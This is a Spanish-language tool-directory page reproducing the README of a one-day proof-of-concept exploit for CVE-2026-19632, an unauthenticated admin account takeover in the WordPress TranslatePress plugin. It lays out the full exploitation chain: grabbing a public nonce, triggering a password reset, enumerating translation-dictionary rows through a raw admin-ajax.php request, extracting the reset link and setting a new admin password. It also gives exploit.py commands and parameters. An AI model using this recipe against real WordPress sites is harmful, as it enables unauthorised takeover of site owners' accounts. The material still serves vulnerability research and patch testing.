Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/yonliud/cve-2026-19632
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubyonliud/cve-2026-19632

CVE-2026-19632

Prueba de concepto de un día para CVE-2026-19632, una toma de control de cuenta crítica sin autenticación en el plugin TranslatePress de WordPress, que demuestra la divulgación del enlace de restablecimiento de contraseña y la toma de control del administrador.

Ver Repositorio
1hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Divulgación del enlace de restablecimiento de contraseña de TranslatePress que conduce a la toma de control de la cuenta de administrador

CVE: CVE-2026-19632 | CVSS: 9.8 (Crítico)

Toma de control de cuenta no autenticada a través del plugin TranslatePress para WordPress. Tiempo desde la publicación del CVE hasta un PoC funcional del Día Uno: 5 horas, 9 minutos, 40 segundos

Hasta la versión 3.3.1 inclusive; el problema se corrigió en la versión 3.3.2.

TLDR

TranslatePress puede traducir los correos electrónicos salientes de WordPress y guardar sus cadenas traducidas en su base de datos.
TranslatePress también guarda los correos de restablecimiento de contraseña con el enlace de restablecimiento completo, incluida la clave secreta, directamente en la tabla de traducción.

Un atacante no autenticado puede consultar esas filas a través de una acción AJAX pública de TranslatePress:

root@kitploit:~
Activar restablecimiento de contraseña
        -> el correo de restablecimiento se traduce
        -> la URL de restablecimiento se guarda en el diccionario del idioma secundario
        -> el endpoint AJAX público devuelve la fila
        -> usar la URL para establecer una nueva contraseña de administrador

Demostración

https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b

La vulnerabilidad

La cadena de explotación requiere:

  • TranslatePress 3.3.1 o anterior.
  • Guardado automático de cadenas habilitado.
  • Un idioma secundario publicado.
  • Que la configuración regional del perfil de WordPress del usuario objetivo esté establecida en ese idioma secundario.
  • Conocimiento del nombre de usuario o correo electrónico del objetivo.

Cuando WordPress envía el correo de restablecimiento, TranslatePress cambia al idioma preferido del destinatario y pasa el correo a través de su canal de traducción. La versión vulnerable guarda las cadenas encontradas durante este proceso, incluida la URL de restablecimiento.

TranslatePress también registra trp_get_translations_regular para visitantes no autenticados. Su nonce está expuesto en una página traducida pública, y la solicitud acepta IDs de filas del diccionario seleccionados por el atacante. Enumerar esos IDs revela el correo de restablecimiento almacenado y su enlace de restablecimiento utilizable.

Flujo de explotación

PasoAcción
1Cargar /he/cve-lab-seed/ y extraer el nonce AJAX público de TranslatePress.
2Enviar el formulario de contraseña perdida de WordPress para labadmin.
3TranslatePress procesa el correo de restablecimiento usando la configuración regional hebrea del administrador.
4Enumerar las filas del diccionario a través de trp_get_translations_regular.
5Extraer la URL de restablecimiento wp-login.php?action=rp coincidente más reciente.
6Abrir la URL y enviar una nueva contraseña.
7Realizar un nuevo inicio de sesión que requiera tanto una cookie de inicio de sesión de WordPress como acceso a /wp-admin/.

La solicitud no autenticada relevante tiene esta forma:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded

action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]

El nonce y el ID de fila útil son dinámicos, por lo que exploit.py los descubre en lugar de codificarlos.

Uso

Uso mínimo:

root@kitploit:~
python3 .\exploit.py --new-password 'Your-New-Password!'
root@kitploit:~
python3 .\exploit.py \
  --url http://127.0.0.1:19632 \
  --username labadmin \
  --language he_IL \
  --public-path /he/cve-lab-seed/ \
  --start-id 1 \
  --max-id 500 \
  --batch-size 100 \
  --timeout 15 \
  --settle-seconds 1 \
  --stop-after takeover \
  --new-password 'Your-New-Password!'

Filtrar la URL de restablecimiento sin cambiar la contraseña:

root@kitploit:~
python .\exploit.py --stop-after leak

Activar solo el correo de restablecimiento de contraseña:

root@kitploit:~
python .\exploit.py --stop-after reset

Parámetros

ParámetroValor predeterminadoPropósito
--urlhttp://127.0.0.1:19632URL base de WordPress.
--usernamelabadminCuenta para la que se solicita el restablecimiento.
--languagehe_ILDiccionario del idioma secundario consultado por el PoC.
--public-path/he/cve-lab-seed/Página traducida pública utilizada para obtener el nonce AJAX.
--new-passwordNingunoNueva contraseña; requerida cuando se usa --stop-after takeover.
--start-id1Primer ID de fila del diccionario a solicitar.
--max-id500Último ID de fila del diccionario a solicitar. Auméntelo si no se encuentra ninguna URL de restablecimiento.
--batch-size100IDs del diccionario solicitados por llamada AJAX. Rango válido: 1-500.
--timeout15Tiempo de espera HTTP en segundos.
--settle-seconds1Retraso después de solicitar el correo de restablecimiento.
--stop-aftertakeoverDetenerse después de reset, leak o la takeover completa.

Descargo de responsabilidad

Este proyecto está destinado únicamente a investigación de seguridad autorizada, educación y pruebas en entornos de laboratorio aislados.

Esta vulnerabilidad fue descubierta y divulgada originalmente por momopon1415. No utilice este software contra sistemas, redes o datos sin autorización explícita del propietario. Usted es el único responsable de cumplir con todas las leyes aplicables y de cualquier consecuencia derivada del uso de este proyecto.

El autor, YonLiud, proporciona este proyecto "tal cual", sin garantías de ningún tipo, y no acepta responsabilidad por daños, pérdida de datos, interrupción del servicio, acceso no autorizado u otro uso indebido causado por este software o trabajos derivados.

Al usar este proyecto, usted reconoce y acepta estas condiciones.

Descargar herramienta